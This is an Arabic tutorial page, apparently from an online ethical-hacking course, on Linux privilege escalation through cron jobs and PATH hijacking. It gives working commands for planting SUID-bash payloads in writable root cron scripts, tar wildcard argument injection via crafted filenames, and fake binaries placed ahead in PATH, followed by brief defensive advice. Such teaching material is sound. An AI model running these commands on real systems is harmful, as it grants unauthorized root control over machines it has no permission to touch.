مهام Cron وPATH
إساءة استخدام المهام المجدولة
مهام Cron وPATH درس مجاني في Ethical Hacking Academy على CoddyKit. هذا هو الدرس 3 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Ethical Hacking Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.
مهام Cron كمسار للاستغلال
يشغّل عفريت cron المهام المجدولة، وغالبًا ما يعمل بصلاحيات root. فإذا تمكنت من التأثير في ما تنفّذه مهمة cron بصلاحيات root، سواء أكان النص البرمجي أو مدخلاته أو طريقة حل الأوامر، فيمكنك تشغيل تعليمات برمجية بصلاحيات root.
تعداد Cron
اقرأ crontab الخاص بالنظام ومجلدات cron. وسجّل المستخدم الذي يشغّل كل مهمة والنصوص البرمجية التي تستدعيها.
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/nullالبحث عن المهام المخفية
لا توجد بعض المهام في ملفات واضحة. تراقب pspy إنشاء العمليات دون الحاجة إلى root، فتُظهر أوامر cron عند تنفيذها، بما في ذلك الأوامر التي لا يمكنك قراءتها في الإعدادات.
./pspy64
# watch for periodic root processesالبرامج النصية القابلة للكتابة في Cron
أبسط أشكال إساءة الاستخدام: تشغّل مهمة Cron بصلاحيات root برنامجًا نصيًا يمكنكم الكتابة فيه. أضيفوا حمولة وانتظروا التشغيل التالي.
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shحقن أحرف البدل
إذا كانت مهمة Cron بصلاحيات root تستخدم حرف بدل مثل tar -czf backup.tar.gz * في مجلد تتحكمون فيه، فيمكنكم إنشاء ملفات تعمل أسماؤها كخيارات لسطر الأوامر (حقن الوسائط)، مما يجبر tar على تشغيل أمركم.
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shما هو PATH؟
PATH هو قائمة بالمجلدات التي يبحث فيها shell عن الأوامر. عندما يستدعي برنامج نصي أمرًا باسمه فقط (مثل backup بدلًا من /usr/bin/backup)، يفوز أول ملف مطابق في PATH.
echo $PATH
# /usr/local/bin:/usr/bin:/binاختطاف PATH
إذا استدعى برنامج نصي يعمل بصلاحيات root أمرًا دون استخدام مسار مطلق، وكان بإمكانكم إضافة مجلد قابل للكتابة في بداية PATH، فضعوا ملفًا ثنائيًا ضارًا بذلك الاسم هناك. سيشغّل root نسختكم.
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHالمسار النسبي في ملفات SUID الثنائية
يظهر الخلل نفسه في ملفات SUID الثنائية المخصصة التي تستدعي system("service ...") دون مسار كامل. يؤدي اختطاف PATH إلى تشغيل شيفرتكم بصلاحيات root — وبذلك يجمع بين إساءة استخدام PATH ومفهوم SUID.
استغلال مجلد قابل للكتابة في PATH
حتى من دون تغيير PATH، إذا كان أحد مجلداته الحالية (مثل /usr/local/bin) قابلًا للكتابة وكانت مهمة root تستدعي أمرًا موجودًا فيه، فما عليكم سوى وضع ملفكم الثنائي في ذلك الموضع.
ls -ld /usr/local/bin # check for write permissionتوقيت الهجوم
يتطلب التصعيد المعتمد على Cron الصبر — إذ يجب عليكم انتظار الموعد المحدد. سجّلوا الفاصل الزمني، وازرعوا الحمولة، وتحققوا من النتيجة (مثل shell بصلاحيات SUID) بعد تشغيل المهمة.
watch -n 5 ls -la /tmp/rootbashوسائل الحماية والأخلاقيات
ينبغي للمدافعين استخدام المسارات المطلقة في البرامج النصية، وتقييد الأذونات على برامج Cron النصية ومجلداتها، وتجنب أحرف البدل في المسارات التي يمكن للمهاجم التحكم فيها، وتعيين PATH آمن داخل Cron. اختبروا هذه التقنيات فقط في الأماكن المصرح لكم بها.
تحقق سريع
اختبروا معرفتكم بـ Cron وPATH.
مراجعة
لقد تعلمتم التصعيد عبر Cron وPATH:
- مهام Cron بصلاحيات root التي تستدعي برامج نصية قابلة للكتابة أو تستخدم أحرف البدل تكون قابلة للاستغلال
- يكشف pspy العمليات المجدولة المخفية
- يستغل اختطاف PATH الأوامرَ المستدعاة دون مسار مطلق
- ازرعوا الحمولة، وانتظروا الموعد، واحصلوا على صلاحيات root
التالي: استغلالات النواة.
الأسئلة الشائعة
هل درس «مهام Cron وPATH» مجاني؟
نعم — نص درس «مهام Cron وPATH» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Ethical Hacking Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Ethical Hacking Academy 4 دروس في المجموع.
ماذا ستتعلم في «مهام Cron وPATH»؟
إساءة استخدام المهام المجدولة تتمرن على Ethical Hacking Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.
هل أحتاج إلى خبرة سابقة لأبدأ Ethical Hacking Academy؟
لا تُشترط خبرة سابقة. Ethical Hacking Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 3 من أصل 4.
كم من الوقت يستغرق درس «مهام Cron وPATH»؟
معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.
هل يمكنني كتابة وتشغيل أكواد في درس Ethical Hacking Academy هذا؟
نعم. كل درس في Ethical Hacking Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.
جميع الدروس في هذه الدورة
- التعداد
- إساءة استخدام SUID وSudo
- مهام Cron وPATH
- ثغرات النواة